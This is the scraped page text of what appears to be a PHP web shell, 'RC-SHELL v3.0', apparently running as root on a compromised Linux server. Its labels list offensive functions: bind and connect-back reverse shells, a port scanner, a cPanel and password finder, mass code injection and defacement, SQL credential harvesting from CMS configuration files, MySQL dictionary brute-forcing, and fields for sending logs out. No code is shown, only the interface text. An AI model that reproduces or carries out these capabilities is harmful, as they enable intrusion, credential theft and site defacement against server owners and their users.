SYS KERNEL USER DISK TOTAL/FREE WEB SOFTWARE SAFE MODE OPEN BASEDIR CURL MYSQL MSSQL ORACLE POSTGRESQL Linux 6.12.0-211.64.1.el10_2.x86_64 root 0B / 0B   OFF NONE YES NO NO NO NO   / / (drwxrwxr-x) BIND SHELL CONNECT BACK   PASS:PORT:SRC  :: PERL C     HOST:PORT:SRC  :: PERL C   FOUND 1 OF OUR BACKDOOR TOOLS IN TEMPDIR. CONSIDER DELETING TOOLS AFTER USING THEM. PHP-SHELL HUNTER PORTSCAN ACTION:RECURSIVE  View known shells only View known shells + possible Overwrite known shells with RC-Shell Overwrite all with RC-Shell : 1 DIRS 2 DIRS 3 DIRS 4 DIRS 5 DIRS 6 DIRS 7 DIRS 8 DIRS 9 DIRS 10 DIRS NO FUNCTION:START PATH  glob find : HOST:PORT RANGE  :- CPANEL / PASSWORD FINDER MASS CODE INJECTOR HOST:USER:SERVICE  :: FILES:METHOD:RECURSIVE  : user + DEFINED PATH user + DOCUMENT ROOT /etc/passwd + USER HOMES : 1 DIRS 2 DIRS 3 DIRS 4 DIRS 5 DIRS 6 DIRS 7 DIRS 8 DIRS 9 DIRS 10 DIRS NO FUNCTION:DEFINED PATH  glob find : SEND LOG TO      Don't login (create passfile) FILES:POS:RECURSIVE  : Top of the file End of the file Before first <? Before <html> Before </html> Before <body.*> Before </body> After last ?> After <body.*> After </body> After <html> After </html> Deface (Overwrite file) : 1 DIRS 2 DIRS 3 DIRS 4 DIRS 5 DIRS 6 DIRS 7 DIRS 8 DIRS 9 DIRS 10 DIRS NO FUNCTION:START IN PATH  glob find : CODE TO INJECT     FIND SQL CREDENTIALS BRUTEFORCE / DICTIONARY ATTACK USER NAME:TYPE  : variable ($var) arrayvar ('var'=>) arrayvar (['var']=>) constant (define)  required PASS NAME:TYPE  : variable ($var) arrayvar ('var'=>) arrayvar (['var']=>) constant (define)  required DB NAME:TYPE  : variable ($var) arrayvar ('var'=>) arrayvar (['var']=>) constant (define)  optional HOST NAME:TYPE  : variable ($var) arrayvar ('var'=>) arrayvar (['var']=>) constant (define)  optional *SOFTWARE:PASSWORD  Select Software Joomla Opencart Oscommerce Pinnaclecart Squirrelcart Wordpress X-cart Zen-cart All of above : anti-lamerz :) FILES:WHERE:RECURSIVE  : DEFINED PATH DOCUMENT ROOT USER HOMES : 1 DIRS 2 DIRS 3 DIRS 4 DIRS 5 DIRS 6 DIRS 7 DIRS 8 DIRS 9 DIRS 10 DIRS NO FUNCTION:DEFINED PATH  glob find : SEND LOG TO      MySQL Test HOST:PORT:SERVICE  :: USERNAME:DATABASE  : DICTIONARY  TEST METHOD  username and dictionary /etc/passwd (user:user) /etc/passwd and dictionary ALSO TEST  user:resu user:user1 user:user123    Transform password to p@55w0rd SEND LOG TO     RC-SHELL v3.0 : PAGE GENERATED IN 0.0356 SECONDS